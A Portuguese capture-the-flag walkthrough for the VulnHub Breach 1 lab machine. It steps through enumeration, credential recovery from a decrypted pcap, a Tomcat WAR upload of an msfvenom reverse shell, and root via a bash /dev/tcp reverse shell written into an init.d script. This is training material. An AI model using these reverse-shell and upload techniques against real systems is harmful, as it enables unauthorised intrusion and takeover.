Link da Maquina: https://www.vulnhub.com/entry/breach-1,152/
Scan/Enumeracao
Host Discovery
- No site maquina, no Vulnhub, esta informando que a maquina esta configurada com o IP 192.168.110.140
Port Discovery
- Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e para a nossa surpresa TODAS as portas estao ABERTAS
1
sudo nmap -n -T5 -p- 192.168.110.140
Port Scan
- Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre os principais servicos. Primeiramente vamos enumerar somente as 10 principais portas
1
sudo nmap -n -T5 -A --top-ports 10 192.168.110.140
Prioridade
- Seguindo a metodolo para a exploracao, vamos iniciar pelas portas que temos mais probabilidade de sucesso
Enumeracao/Exploracao Web - Porta 80
Browser
- Acessando a pagina observamos uma imagem e um recado dizendo que a rede da empresa foi violada e possivelmente o responsavel e um antigo funcionario insatisfeito
- No codigo fonte da pagina encontramos o que parece ser um hash e um link para initech.html
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
Fuzzy de Diretorios - Gobuster
- Rodando o Gobuster verificamos que temos um diretorio /images e nada mais…
1
gobuster dir -u http://192.168.110.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- A principio nao temos nada de interessante nesse diretorio, apenas imagens inuteis
HASH - www.hashes.com
- Vamos verificar o que significa aquele hash que encontramos. O site conseguiu quebrar o hash mas nao temos nada legivel
- Passamos o resultado do primeiro hash decodificado para o site novamente. Agora temos um resultado interessante… Parece ser uma credencial
pgibbons:damnitfeel$goodtobeagang$ta
initech.html
- Acessando a pagina temos um portal com algumas informacoes interessantes… Um link para o /impresscms/ e o email do Samir Nagheenanajar (webmaster@breach.local)
- Olhando o codigo fonte temos um comentario…
ImpressCMS
- Acessando a pagina do Portal dos Funcionarios temos um CMS, o ImpressCMS.
- Conseguimos logar no portal com a credencial que tinhamos encontrado: pgibbons:damnitfeel$goodtobeagang$ta
- Existem 03 mensagens para o usuario
Uma das mensagens diz que foi adquirido um IDS/IPS, outra diz que mensagens sigilosas eram para serem postadas somente no portal de adm
Na primeira mensagem encontramos algo interessante, dizendo que foi guardado um certificado SSL no diretorio /.keystore
/.keystore
- Baixamos o arquivo que esta disponivel no diretorio
- Observamos que o arquivos se trata de um JAVA Keystore
- Tentamos verificar o conteudo porem nao conseguimos, precisamos da senha….
- Lembra daquela mensagem dizendo algo sobre conteudos sigilogos no portal? Entao… achamos uma postagem do Peter Gibbons que diz que a senha dos arquivos “storepassword” e “keypassword” e tomcat. Na mensagem ele diz que tem um arquivo .pcap que tem a captura da reproducao do ataque do redteam, mas provavelmente esta criptografado… O arquivo .pcap esta disponivel em: http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
- Conseguimos acessar o conteudo do arquivo
1
keytool -list -keystore keystore
.pcap
- Vamos baixar o arquivo .pcap que foi mencionado
Wireshark
- Abrimos o arquivo no wireshark, mas parece que ele esta criptografado
- Aquele arquivo keystore pode ser a chave para descriptografar essa captura. Quando verificamos o conteudo dele o proprio arquivo diz que esta em formato para o JDK, para as outras aplicacoes e necessario converter…
1
keytool -v -importkeystore -srckeystore keystore -srcalias tomcat -destkeystore key.p12 -deststoretype PKCS12
- Antes de decriptografar a captura vamos ver se a chave foi gerada corretamente
1
openssl pkcs12 -in key.p12 -nocerts -nodes
- Para poder ler o conteudo criptografado da captura no wireshark devemos importar o arquivo para o programa da seguinte forma: “Edit: -> “Preferences” -> “Protocols” -> “TLS -> “Edit”
Follow - TLS Stream
- Para ver o conteudo do trafego Botao direito do Mouse -> “Follow” -> “TLS Stream”, ou apertar as teclas CTRL+ALT+SHIFT+S
- Podemos observar que ele faz uma requisicao GET para o /_M@nag3Me/html
- Em outra parte da captura do trafego tem uma requisicao passando um codigo em base64: dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Decodificando-o temos tomcat:Tt\5D8F(#!*u=G)4m7zB
- No final da captura temos uma requisicao para uma pagina que executa: /cmd/cmd.jsp?cmd=id
Porta 8443
/_M@nag3Me/html
- Tentamos acessar a pagina que encontramos na captura mas nao conseguimos
Burp Suite
Como a configuracao SSL da pagina web e insegura o navegador impede o acesso para a pagina. Para contornar isso podemos adicionar um proxy na pagina. A maneira mais facil de se fazer e usando o burp suite
Iniciamos o Burp Suite, mas deixamos o modo “Intercept” dele desligado. A nossa intensao nao e capturar o trafego, mas sim passar uma “sensacao de seguranca” para o navegador
- Depois disso configuramos o proxy no navegador. Para isso utilizamos a extensao “Foxy Proxy” do firefox
Firefox
- Agora acessamos a pagina https://192.168.110.140:8443/_M@nag3Me/html. Ele vai dar o aviso de seguranca mas vamos acessar a pagina mesmo assim
- A pagina pede uma autenticacao, entao vamos utilizar a credencial que estava codificada em base64 na captura para logar
Tomcat Web Application Manager
- Conseguimos acesso a pagina!
Shell Reverso
Tentamos acessar aquela pagina que encontramos no pcap para executar comando via URL, mas nao conseguimos nada
Entao vamos upar um arquivo war para conseguirmos o shell reverso
MSFVENOM
- Vamos criar o nosso payload com o programa msfvenom…
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.3 LPORT=4444 -f war > charlie.war
Upload do Payload
- Vamos upar o nosso payload para o servidor
- Agora executamos o arquivo que acabamos de subir para o servidor. Mas antes tem que lembara de deixar a porta escutando na kali
- Conseguimos o shell reverso do usuario “tomcat6”
Usuario “tomcat6”
Escalando privilegio
- Depois de varias tentativas, conseguindo achar a credencial do MySQL em um arquivo no diretorio /var/www/5446
MySQL
- Conseguimos acessar o banco de dados com o usuario “root” e sem senha…
- Temos alguns banco de dados disponiveis
- Vamos dar uma olhada nas tabelas do banco “mysql”
- Conseguimos achar credencias, mas as senhas sao hashes…
hashes.com
- Conseguimos quebrar o hash
- 6450d89bd3aff1d893b85d3ad65d2ec2:thelaststraw
- milton:thelaststraw
Usuario “milton”
- Conseguimos logar com o usuario milton
- Depois de muito tempo procurando achamos uma informacao nos metadados de uma das imagens da pagina web
- coffeestains
- Listando os usuarios do sistema, temos alguns que podemos tentar acessar…
Usuario “blumbergh”
- Conseguimos logar com a credencial blumbergh:coffeestains
Escalando Privilegio
Linpeas
- Como e de praste vamos rodar o linpeas na maquina
- O linpeas nos retornou algumas informacoes interessantes:
- Kernel vulneravel: Linux version 4.2.0-27-generic
- Consigo escrever no init.d: /etc/init.d/portly.sh
- Conseguimos executar comando com sudo: /usr/bin/tee /usr/share/cleanup/tidyup.sh
- Podemos escolher qual linha de acao tomar para escalar privilegio…
/etc/init.d/portly.sh
- Adicionamos o nosso shell code no arquivo que esta no init.d que temos permissao de escrita
1
/bin/bash -i >& /dev/tcp/192.168.110.3/4433 0>&1
- Agora e so deixar a porta escutando na kali e reiniciar a maquina alvo que conseguiremos o nosso shell de root!
- PRONTO, AGORA SOMOS ROOT!
Flag
- Conseguimos a flag de root
- Tem uma imagem no diretorio /root
Bonus
- A escalacao de privilegio para o root poderia ser feira de outras formas…